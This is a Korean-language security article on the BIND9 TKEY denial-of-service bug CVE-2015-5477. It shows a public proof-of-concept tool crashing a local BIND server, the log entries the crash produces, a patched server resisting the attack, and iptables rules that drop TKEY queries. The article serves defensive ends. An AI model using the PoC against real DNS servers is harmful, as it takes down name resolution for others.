아래는 공개된 코드를 이용한 간단한 공격시연이다.
$ dig @127.0.0.1 dailysecu.com +short
211.236.182.134
=> local bind 에 대해 dailysecu.com 에 대한 A record 질의, 정상작동함
$ ./CVE-2015-5477 127.0.0.1
--- PoC for CVE-2015-5477 BIND9 TKEY assert DoS ---
[+] 127.0.0.1: Resolving to IP address
[+] 127.0.0.1: Resolved to multiple IPs (NOTE)
[+] 127.0.0.1: Probing...
[+] Querying version...
[+] Sending DoS packet...
[+] Waiting 5-sec for response...
[+] timed out, probably crashed
=> local의 bind에 공격 query 실행
$ dig @127.0.0.1 dailysecu.com +short
; <<>> DiG 9.3.6-P1-RedHat-9.3.6-25.P1.el5_11.2 <<>> @127.0.0.1 dailysecu.com +short
; (1 server found)
;; global options: printcmd
;; connection timed out; no servers could be reached
=> local bind에서 응답하지 않음
위와 같이 Bind DNS 가 crash되어 응답하지 않음을 알 수 있다. 이때 남는 로그는 아래와 같다.
Aug 1 16:23:29 www named[27644]: message.c:2167: REQUIRE(*name == ((void *)0)) failed
Aug 1 16:23:29 www named[27644]: exiting (due to assertion failure)
Bind 패치를 하면 아래와 같이 공격에 안전하다.
$ ./CVE-2015-5477 192.168.1.10
--- PoC for CVE-2015-5477 BIND9 TKEY assert DoS ---
[+]192.168.1.10: Resolving to IP address
[+]192.168.1.10: Resolved to multiple IPs (NOTE)
[+]192.168.1.10: Probing...
[+] Querying version...
[+]192.168.1.10: "9.3.6-P1-RedHat-9.3.6-25.P1.el5_11.3"
[+] Sending DoS packet...
[+] Waiting 5-sec for response...
[-]192.168.1.10: got response, so probably not vulnerable
이 취약성은 Bind 9.x에만 해당하는 것으로 Windows DNS등은 영향이 없으며 bind 8.x 도 안전하다.
이를 방어하기 위한 패치가 필수이지만 불가피한 사유로 패치가 불가능할 경우 임시방편으로 iptables를 이용하여 TKEY type에 대해 차단할 수 있다. TKEY type은 Transaction Key 의 의미로 거의 사용되지 않는 query type이므로 차단해도 서비스에 영향이 없기 때문이다.
# iptables -A INPUT -p udp --dport 53 -m string --algo bm --hex-string '|00F900FF|' -j LOG
# iptables -A INPUT -p udp --dport 53 -m string --algo bm --hex-string '|00F900FF|' -j DROP
위의 iptables 명령어는 목적지 포트 53/udp로 inbound 되는 트래픽중 TKEY Type에 대한 hex string 값에 대해 로그를 남기고, Drop 하는 것으로 해당 query는 Bind에 전달되기 전에 필터링되므로 bind DNS에 영향을 주지 않게 된다.
관련 URL
-.http://dailysecu.com/news_view.php?article_id=10289
-.http://www.krcert.or.kr/kor/data/secNoticeView.jsp?p_bulletin_writing_sequence=23203
-.https://en.wikipedia.org/wiki/List_of_DNS_record_types
-.https://access.redhat.com/security/cve/CVE-2015-5477
-.https://github.com/robertdavidgraham/cve-2015-5477
[글. 홍석범 씨디네트웍스 시스템 UNIT 부장 / antihong@gmail.com]